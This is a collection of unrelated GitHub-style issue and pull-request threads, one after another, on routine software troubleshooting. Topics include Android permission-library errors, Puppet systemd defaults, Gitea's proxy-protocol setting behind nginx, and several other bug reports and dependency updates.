This is very much not the behavior I see.
Steps to replicate (for me):

Open any SPI
Select an action (say, "Note/comment")
Type something into the box
Ctrl-W / press close tab

Expected behavior apparently (this has never happened for me): popup asking for confirmation to close tab
Actual behavior: tab is closed, all work is lost
Tested both on my normal browser and on a Chrome "Guest" profile (which comes without extensions, site rules, etc.) with the same result. I also tested it while logged out on Chrome and after running importScript('User:GeneralNotability/spihelper.js') in the browser console with the same result.

Confirmed as a Chrome issue. https://developer.mozilla.org/en-US/docs/Web/API/WindowEventHandlers/onbeforeunload tells us the issue - I wasn't setting the return value. Fix deployed.


MultiplePermissionsListener REQUEST_ONGOING

Expected behaviour
Call onPermissionsChecked with already granted permissions
Actual behaviour
when I ask for permissions it call onError(DexterError error) with REQUEST_ONGOING error
Activity was closed and opened several times using startActivityForResult setResult(OK) or CANCEL before this happened.
Steps to reproduce
 Dexter.withActivity(getActivity())
                .withPermissions(
                        Manifest.permission.CAMERA,
                        Manifest.permission.READ_EXTERNAL_STORAGE
                ).withListener(new MultiplePermissionsListener() {
            @Override
            public void onPermissionsChecked(MultiplePermissionsReport report) {
                if (report.areAllPermissionsGranted()) {
                    openCamera();
                } else {
                    requestMultiplePermissions();
                 }
                   }

            @Override
            public void onPermissionRationaleShouldBeShown(List<PermissionRequest> permissions, PermissionToken token) {
                token.continuePermissionRequest();
            }
        }).withErrorListener(new PermissionRequestErrorListener() {
            @Override
            public void onError(DexterError error) {
                int y = 0;
            }
        }).check();

Version of the library
3.0.0

Hi @PingForward
I'm wondering, are you following the README section about screen rotations? When the requesting activity dies due to a rotation or any other reason, we have to rebind the permission listeners by calling continueRequestingPendingPermissions instead of asking for those permissions again.
Got to say though that you are not the first person having this issue so we will probably need to do a smarter checking when requesting the same permissions more than once.
Hope that link helps, let us know if you still have problems with the library.

Hi, I also have this issue with PermissionListener. My activity open and close normally, without any rotation or other reason to kill the activity unexpectly, several times later, this exception happens.
Version os 3.0.0

@Serchinastico No rotation, regular open close.

I can confirm. Also happens with PermissionListener (not Multiple* that is). Can't reproduce consistently, but most of the times when I start a permission request and deny it and then close the app (back-button, not simple pause/resume) and come back, it says REQUEST_ONGOING. Tested with/without rationale dialog and with/without continueRequestingPendingPermissions. It only seems to start working again once I kill the app process entirely.

The reason is when we create Dexter instance, the Context in DexterInstance become null.
I have sent a pull request.

We've got the same bug. Please, review this pull request.

Fixed in the PR #108. We are about to publish a new version :) Thanks everyone for your help!

Hi guys!
This problem can still be encountered in version 4.1.0.

@ovitrif we can't reproduce it. Could you create a sample project public on github with the code needed to reproduce it?

@pedrovgs
Unfortunately not, it is for a complete application that it happens.

I'm using the multiplePermissions listener, using dagger, so I initialize dexter in the module.
The app has language changing capabilities, and the bug was usually seen in that case.
It was very difficult to reproduce, but it seemed to appear randomly.
I was able one time to reproduce the issue, and had the debugger attached. Not sure if it was the REQUEST_ONGOING issue, but the code did stop at doing the .check() method.
Nothing was running anymore, so I didn't got into the breakpoints set inside the callback.
In the end I fixed the issue by adding an error listener, where I run the code to check the permissions manually using Android code.
Having discussed this with my colleague, we wanted initially to check the permissions before using Dexter, and only when they are not granted would we do otherwise.
I wonder why you guys stop in case of REQUEST_ONGOING always.
I can't say I know the code very well, but so far I didn't think of an error when doing what I did, do it manually.
The problem with your approach, I think, is that you do all the complex code to ensure the user is asked to grant permissions.
But most of the time, the app will have the permissions granted, and by doing things the way they are now done in dexter, is like letting a door open for errors.
Could the logic be switched around, and check permissions first, if ok just go on?
Otherwise I find dexter unreliable, since I'll always have to wrap it with my own implementation for checking permissions.
I'm not sure it is intended to be used like that, but I would find it very useful if it was always reliable and you could just do the normal check for permissions before, for example, trying to get the user location.

Guys! same problem in version 5 also. How to fix once we get this

I'm getting the same issue here with the version 5.0.0

I'm getting the same issue here with the version 6.0.0
com.karumi:dexter:6.0.0
Dexter.withActivity(this@MainActivity)
                    .withPermissions(
                        Manifest.permission.ACCESS_COARSE_LOCATION
                        ,Manifest.permission.ACCESS_FINE_LOCATION)

                    .withListener(object:MultiplePermissionsListener{
                        override fun onPermissionsChecked(report: MultiplePermissionsReport?) {
                            report?.let {
                                if(report.areAllPermissionsGranted()){
                                    searchBar.show()
                                    replaceScreen(Screen.MAP)
                                }

                            }
                        }

                        override fun onPermissionRationaleShouldBeShown(
                            permissions: MutableList<PermissionRequest>?,
                            token: PermissionToken?
                        ) {

                        }

                    })
                    .withErrorListener {
                        println(it.name)
                    }
                    .check()

Devices: Nokia
OS: 9.0 - P

Hi @chihung93 we can't reproduce it. Could you create a sample project public on github with the code needed to reproduce it?

This is my beta library.
https://github.com/chihung93/Space-Navigation-V2
You can download it and try to these step :
Step 1: Click on Centre button => Popup request permission show up
Step 2: Click Deny
Step 3: Tap on the Centre button 2- 3 times again.
Step 4: see the Toast Request_ongoing

Ok, I know what's going on. It's a wrongly configured listener what we have here and a missing documentation part from our side. I'm going to update the project readme with some information about this scenario and explain here what's going on.
If you don't configure the token you receive onPermissionRationaleShouldBeShown properly Dexter will not let you ask for the permission again because the library understands you are showing your own rationale and you don't want to show the OS one again. This is why you have to modify your code to do the following:
spaceNavigationView.setSpaceOnClickListener(object : SpaceOnClickListener {
            override fun onCentreButtonClick() {
                Dexter.withActivity(this@MainActivity)
                    .withPermissions(
                        Manifest.permission.ACCESS_COARSE_LOCATION
                        ,Manifest.permission.ACCESS_FINE_LOCATION)

                    .withListener(object: MultiplePermissionsListener {
                        override fun onPermissionsChecked(report: MultiplePermissionsReport?) {
                            report?.let {
                                if(report.areAllPermissionsGranted()){
                                    toast("OK")
                                }

                            }
                        }

                        override fun onPermissionRationaleShouldBeShown(
                            permissions: MutableList<PermissionRequest>?,
                            token: PermissionToken?
                        ) {
                            token?.continuePermissionRequest()
                        }

                    })
                    .withErrorListener {
                        toast(it.name)
                    }
                    .check()
            }

            override fun onItemClick(itemIndex: Int, itemName: String) {
                toast("${itemIndex}  ${itemName}")
            }

            override fun onItemReselected(itemIndex: Int, itemName: String) {

            }
        })

Look closer here:
  override fun onPermissionRationaleShouldBeShown(
                            permissions: MutableList<PermissionRequest>?,
                            token: PermissionToken?
                        ) {
                            token?.continuePermissionRequest()
                        }

token?.continuePermissionRequest() is the key to use Dexter properly.
@chihung93, can you please check this out?

This thing took my 4 hours, update it there asap for saving time of others..

OK great, work like a charm :)))

Good work!

if any previous activity is open and dialog is still showing at that time error will occcured


(PUP-4503)(PUP-2023) Update service provider default for newer debian…

…/ubuntu releases
With the release of Debian 8 (Jessie) and Ubuntu 15.04 (Vivid Vervet),
ubuntu and debian now default to systemd as the main service manager,
rather than init or upstart. This commit updates Puppet to
use systemd as the default service provider on these two systems, while
also defaulting back to other service providers if necessary.
Additionally, there is a bug on debian systemd where it is unable to
correctly detect SysV style services[1]. This commit also adds in a
workaround to correctly detect is-enabled for these services.
[1] - https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=751638

CLA signed by all contributors.

AppVeyor failed on the rdoc test, a known issue

I've verified that we now default to systemd for Jessie and start, stop, and report on services correctly.

@melissa Hmm.  If I run puppet resource service I get systemd service entries and the init services together in the output (e.g. for cron I get cron and cron.service).  Is this desired?

@peterhuene As i understand it, puppet resource $thing will go through all of the suitable providers for $thing on $platform and report on all of them. I may be mistaken.

Additionally, systemd has more than just .service files, so simply stripping .service for systemd instances won't fly either.

Right, wasn't advocating removing the .server from the names.  Just wasn't expecting seeing the init.d scripts in there (my distro uses systemd, but has for years and thus has no init.d scripts anymore).

I'm :+1:

Any chance to have this in the 3.x branch?

Just backported this fix to a Puppet 3.7.5 installation: it introduces another bug.
The line 62 from systemd.rb needs to be updated from
if Facter.value(:osfamily) == 'debian'

to
if Facter.value(:osfamily) == 'Debian'

otherwise Puppet thinks it has to enable the service everytime it runs...
After fixing this, our services status seem to be detected correctly.
Thanks

@j-vizcaino I think this came up in #4092 as well. Do you mind taking a look at that PR?

@kylog: actually that's where I got the hint, as @raphink applied the exact same fix in his PR. When looking for problem regarding Puppet services on Debian Jessie, you end up here. Just wanted to let readers know that applying this fix was not sufficient.


Question about gaps in history

Hi guys,
Currently I use fakegato for different plugins and types. I have a problem with gaps in my history.
I have implemented the .addEntry in the .on('change') event. So every time there is a change, the plugin will also add a new entry. The problem is that this does not happen periodically. Does this cause the problem with the gaps in the history?
I thought FakeGato would add additional entries to avoid this?

Which type are you using? Fakegato adds entries only if you enable the timer and only for certain types.

@simont77
i thought the timer is always enabled until i disable it?
im using following types:

energy
room
door
motion
thermo

Yes, the timer is active by default. Which version of fakegato are you using? Maybe the last update broke up the timer.

@simont77
v0.6.1 , but it was already on the previous version too

you mean 0.6.0? Version 0.5.x has not been touched for a long time and there was no issue reported for the timer.

yes v0.6.0

Could you try with 0.5.6?


VLAZ: Watch 1-860-321-6526

VLAZ requests the watch of the watch_number 1-860-321-6526. See the MS search here and the Stack Exchange search in text, in URLs, and in code.

Approved by Jeff Schaller in Charcoal HQ


Added zone info + zone update calls

Added support for zoneinfo and update
There is a bit of clutter in this pull request, since it also includes the changes in #64 (I forked it from that one)

Rebased and fixed the php 7.4 error

@arnowest yes, done!

@arnowest yes, done!

Great! Thanks for these calls!


Enhancement in Nav bar and animated logo

Try to add new animated logo and enhancement in Nav bar

you can make the navbar sticky so it stays at the top of the screen even as the user scrolls down the page.


Create a parser for ComboBox

Initial commit for the ComboBox-parser. Functional basic structure
Relates to: #8

Sorted out merge-conflicts


SCM doesn't ask to initiallize repos

VSCode Version: Insiders
OS Version: macOS

Steps to Reproduce:

Open a folder that is not a Git repository (or under any other source control system)
Note that we no longer have a "Initialize Git Repository"

I feel like there should be a way to initialize version control for Git (and possibly whatever Git source control is available):

#18615


"Unable to retrieve child resources" even after changing proxy settings

Preflight Checklist

[X] I have installed the latest version of Storage Explorer.
[X] I have checked existing resources, including the troubleshooting guide and the release notes.
[X] I have searched for similar issues.

Storage Explorer Version
1.31.1 (93)
Regression From
No response
Architecture
x64
Storage Explorer Build Number
20230822.1
Platform
Windows
OS Version
Windows 10 Enterprise 21H2
Bug Description
Unable to retrieve child resources
ProducerError:{
"name": "Electron Net Error",
"message": "net::ERR_TUNNEL_CONNECTION_FAILED",
"stack": "Error: net::ERR_TUNNEL_CONNECTION_FAILED\n    at SimpleURLLoaderWrapper. (node:electron/js2c/browser_init:2:49935)\n    at SimpleURLLoaderWrapper.emit (node:events:513:28)",
"cause": {}
}
Steps to Reproduce

Open Storage Explorer
Click on the explorer icon
Open the 'Emulator & Attached' drop down box
Under the storage account, open 'File share'

Actual Experience
When I try to access the 'File Share' option using system proxy settings, it loads for a few seconds and throws the error message as shown below:

Expected Experience
No response
Additional Context
No response

Can you please try accessing, via the Azure portal, on the same machine, the same storage resources you are attempting to access, and let us know if that works? If access by via the Azure portal does work, then please if possible share screenshots showing a side by side view of portal working and Storage Explorer not working, such that we can see you did in fact access the same resources.

Closing due to lack of response from original author. This issue will no longer be monitored. If you still require help, we recommend opening an Azure support ticket via the Azure portal.


1.18.0: "Unexpected proxy header" with nginx reverse proxy

Description
Hello!
Running gitea via docker-compose behind a reverse proxy (nginx). After updating the docker image to 1.18.0 the web ui refuses to work (502) on browser access:
[...]
gitea  | 2022/12/30 08:26:34 cmd/web.go:227:listen() [I] [63ae92aa-34] LFS server enabled
gitea  | 2022/12/30 08:26:34 ...s/graceful/server.go:62:NewServer() [I] [63ae92aa-34] Starting new Web server: tcp:<IP_ADDRESS>:3000 on PID: 16
gitea  | 2022/12/30 08:27:37 ...roxyprotocol/conn.go:170:func1() [E] [63ae92aa-34] Failed to read proxy prefix: Unexpected proxy header: [71 69 84 32 47 32 72 84 84 80 47 49]
gitea  | 2022/12/30 08:27:37 ...roxyprotocol/conn.go:170:func1() [E] [63ae92aa-34] Failed to read proxy prefix: Unexpected proxy header: [71 69 84 32 47 102 97 118 105 99 111 110]

These byte slices translate to
GET / HTTP/1
GET /favicon

The proxy header config:
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Forwarded-Ssl "on";
proxy_headers_hash_max_size 512;
proxy_headers_hash_bucket_size 128;

It makes no difference if I disable them.
The nginx config:
server {
    listen 443 ssl http2;
    listen [::]:443 ssl http2;
    server_name git.my.domain;

    location / {
      proxy_pass http://<IP_ADDRESS>:3000;
    }

    add_header "X-Robots-Tag" noindex;
    include /etc/nginx/snippets/proxy_headers.conf;

    ssl_certificate /path...;
    ssl_certificate_key /path...;
}

Gitea Version
1.18.0
Can you reproduce the bug on the Gitea demo site?
No
Log Gist
No response
Screenshots
No response
Git Version
No response
Operating System
Ubuntu Jammy
How are you running Gitea?
v1.18.0 with docker-compose
Database
SQLite

Do not enable the PROXY PROTOCOL on Gitea side.
ps: I have warned that the PROXY PROTOCOL config is quite messy and will mislead users  🤷🏻♂

https://github.com/go-gitea/gitea/pull/12527#issuecomment-1017743155

Confirmed: Disabling USE_PROXY_PROTOCOL makes things work again. Thank you. This should really be communicated somewhere because it is not mentioned in the update notes and the same config worked fine with 1.17.4.
Thanks, closing.


Adapt docs for new KEPTN_CONTEXT env variables

Goal 🥅 ⚽
Adapt the docs according to the mentioned issues for deno and python runtime.
Add new docs for the context variable that's injected into the container runtime.
Feature PR: https://github.com/keptn/lifecycle-toolkit/issues/2491
DoD

[ ] Update deno runtime readme
[ ] Update python runtime readme
[ ] Make sure that all occurrences of the CONTEXT variable are fixed in the documentation
[ ] Make sure all links are still working

The readme can have more developer focussed info, but the docs should still be complete I would say


Fix padding device in EEGResNet

Fix #450

Hi @PierreGtch!
Nice catch! Can you please update the what's news file? When we get the green in CI, we can merge =)

Thank you @PierreGtch!


[🐛] Getting TypeError : null is not an object (evaluating '_reactNative.NativeModules.ImagePickerManager.launchImageLibrary')

Description
I tried to use this library and using the latest version (3.3.3), but when launching the library always failed and get this message in log :
"null is not an object (evaluating '_reactNative.NativeModules.ImagePickerManager.launchImageLibrary')"
I already import the lib as shown in the docs and #1531 but still getting that error
import {launchImageLibrary} from 'react-native-image-picker';
and call the function like this :
launchImageLibrary({mediaType:'photo',cameraType:'front'},(res)=>{                 console.log('my result is',res)             })
How to repeat issue and example

step to reproduce the issue
...

Solution
What needs to be done to address this issue?
Additional Information

Image Picker version: 3.3.3
React Native version: 0.63.3
Platform: Android
Development Operating System: Windows
Dev tools: [FILL THIS OUT: Xcode or Android Studio version, iOS or Android SDK version, if applicable] navigation crash for Android

I have the same problem! Exactly the same!

downgrading module to version 3.3.2 is working for me.
Just npm install<EMAIL_ADDRESS>and restart node server

downgrading module to version 3.3.2 is working for me.
Just npm install<EMAIL_ADDRESS>and restart node server

I tried to downgrade it but same issue still happening

After installing, you'll need to rebuild your application.

I am still having the same problem after installing the later version and restarting the node server. Can this be reopened?


a first useful Git reference

Should I maybe do a new PR with the file included in the git* directory?


Materialize modal trigger

Is it really required to use html tags (button, a) to trigger modal using javascript?
I'm planning to open the modal using only one line of javascript just like opening a bootstrap modal but my app only shows me the dark overlay. It doesn't show the modal at all.
The javascript that I'm using is the one in the website:
$('#modal1').openModal();
Any help would be appreciated haha I'm stuck since I prefer using modals to lessen the user's clicks! Thanks!

$(document).on('load',function() { $("#modal1").openModal();}); ?

Can you post a codepen?

$(document).on('load',function() {
$("#modal1").openModal();
});
This code only reloads my web page. I'm a .net developer and I'm trying to open the modal from codebehind since I passed the 'id' data there through an ASP LINKBUTTON. In bootstrap, it works using only this code
$("#modal1").modal("show");
But now I started using Matrialize CSS and that logic of using the one-liner script
$("#modal1").openModal();
doesn't seem to apply/function when you're not using HTML tags (button and a) as modal triggers.. :(

Nevermind, guys! It is just that I forgot to put a code that would close the modal!
Hence, $("#modal1").closeModal();
So sorry!!! Thanks for the help too though!!!

Hi
what is the final solution to the issue?

This is javascript code :
function openLoginVerificationModal() {
$('#modalLoginOTPVerify').modal('open');
    }

Now code in code behind is :
ScriptManager.RegisterStartupScript(this, this.GetType(), "Pop", "openLoginVerificationModal();", true);
But it is not working.
For javascript alert, bootstrap modal it is working.


Gather list of PSet tweaks applied by WMAgent during job runtime

Impact of the new feature
WMAgent
Is your feature request related to a problem? Please describe.
Yes, it's related to the tightly coupling of WMCore, WMControl and CMSSW, and the complications affecting the support of multiple python versions (in CMSSW and WMCore) and job configuration (Pset) tweaks applied during runtime.
Describe the solution you'd like
This issue is meant to be an investigation of what exactly is tweaked by WMAgent - during the job runtime; what the source of the information is (things from the workflow description? things from the WMAgent job description? things based on the site and/or storage? things related to the data to be accessed? etc)
I think the result of this issue should be something like:

CMSSW/PSet parameter tweaked:
data format
data source

Once we have an (almost) exhaustive list, we can then have further discussions and see whether this PSet tweaking would be better maintained in a different place (like in the CMSSW itself), such that the agent would only need to call that script, passing all the arguments to it, and be done.
Describe alternatives you've considered
The other alternative is what we have right now, which is an auto-discover of the CMSSW latest python version, and then executing the PSetTweak script to perform all the tweaks with the own CMSSW python version.
Additional context
This is likely a good start for this: https://github.com/dmwm/WMCore/blob/master/src/python/PSetTweaks/WMTweak.py#L22
another place is:
https://github.com/dmwm/WMCore/blob/master/src/python/WMCore/WMRuntime/Scripts/SetupCMSSWPset.py

Here is some initial logic:

The CMSSW executor runs a pre-script called: SetupCMSSWPset
The SetupCMSSWPset will modify a Pset 3 times at the worker level:

At the task level
Where the input is: self.process, which is a stepSection of a FwjReport
At the job level
Where the input is: A WMBS Job object
At the job level again, for each output module

The script command is called looks like this:
2020-07-15 00:03:37,065:INFO:Scram:    Invoking command: /cvmfs/cms.cern.ch/slc6_amd64_gcc491/cms/cmssw/CMSSW_7_4_0/external/slc6_amd64_gcc491/bin/python2.7 -m WMCore.WMRuntime.ScriptInvoke WMTaskSpace.cmsRun1 SetupCMSSWPset


Update spark-core, spark-sql, ... to 3.1.1

Updates

org.apache.spark:spark-core
org.apache.spark:spark-sql
org.apache.spark:spark-streaming

from 3.0.2 to 3.1.1.
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

Files still referring to the old version number
The following files still refer to the old version number (3.0.2).
You might want to review and update them manually.
docs/build.gradle

Ignore future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "org.apache.spark" } ]

labels: library-update, semver-minor, old-version-remains

Superseded by #48.